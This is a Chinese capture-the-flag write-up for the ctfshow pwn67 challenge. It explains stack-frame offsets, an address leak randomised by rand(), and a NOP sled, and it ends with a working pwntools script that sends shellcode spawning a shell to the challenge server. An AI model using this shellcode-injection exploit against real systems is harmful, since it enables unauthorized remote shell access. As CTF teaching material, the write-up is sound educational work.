ctfshow pwn67

这个题加深了对栈结构的理解,具体题解如下:

下载附件,checksec一下,发现开启了canary保护,32位。其他保护没开。丢到IDA去看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
int position; // eax
void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF
seed[1025] = (unsigned int)&argc;
seed[1024] = __readgsdword(0x14u);
setbuf(stdout, 0);
logo();
srand((unsigned int)seed);
Loading();
acquire_satellites();
position = query_position();
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position);
printf("What will you do?\n> ");
fgets((char *)seed, 4096, stdin);
printf("Where do you start?\n> ");
__isoc99_scanf("%p", &v5);
v5();
return 0;
}

不难发现通过fgets((char *)seed, 4096, stdin); 写入shellcode,然后想办法让程序能跳转到shellcode地址那里去执行,就可以了,这里有个__isoc99_scanf("%p", &v5); 可以输入地址,我们可以输入shellcode写入的首地址,然后 v5();调用就可以getshell了。

所以难点就是怎么去确定shellcode的首地址,也就是seed的地址。刚好这里给了我们一个 position = query_position(); ,可以把此时的一个栈上面变量的地址去泄露出来,然后通过栈帧结构分布,去推算seed的地址。这里更正我之前一个错误观点,之前认为不同函数栈帧之间是割裂的,其实不是,在整体上面,它们是存在联系的(等下看个图就可以明白) 。 我们跟进query_position()函数去看一下:

1
2
3
4
5
6
7
8
9
10
11
char *query_position()
{
char v1; // [esp+3h] [ebp-15h] BYREF
int v2; // [esp+4h] [ebp-14h]
char *v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v2 = rand() % 1337 - 668;
v3 = &v1 + v2;
return &v1 + v2;
}

设置的干扰就是这里的v2,是个随机数,但是有范围。返回的是局部变量v1的地址加上v2的,可以由此推算出v1的变化范围,然后结合栈帧结构去推算seed的一个范围。大概思路就是这样。

可以去手算栈帧结构,但是过于麻烦,这里可以通过gdb去调试下:

pwn67_1.png

可以看到进入query_position(); 函数前的ebp和进入之后ebp的一个对比值。0xffffcf28seed 变量对应的ebp,0xffffbf08v1变量对应的ebp。画个简单的草图看一下相对位置:

pwn_67_2.png

通过这个图可以很清晰的看出来v1与seed之间的偏移。接下来就是解决rand的问题了。这里有个知识点是空操作雪橇的知识点。nop sled ,nop是一个不执行任何操作的命令,效果是可以使IP寄存器+1。我们虽然不知道rand具体是多少,也就确认不了shellcode首地址具体是多少,但是可以往里面填充nop指令,让他不停地+1,+1,+1,直到shellcode 。具体效果图如下:

pwn67_3.png

postion=v1+v2(-668<=v2<=668) position+668=v1~v1+1336

那么我们的payload就是\x90*1336+asm(shellcraft.sh()) ,v5输入的地址就是 position+668+padding(v1和seed之间的偏移)

最终的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#io=process("./pwn67")
io=remote("pwn.challenge.ctf.show",28206)
io.recvuntil("location: ")
position=io.recvuntil("\n")
print(position)
shellcode="\x90"*1336+asm(shellcraft.sh())
sh_addr=hex(int(position,16)+0x29+668)
io.recvuntil("> ")
io.sendline(shellcode)
io.recvuntil("> ")
io.sendline(sh_addr)
io.interactive()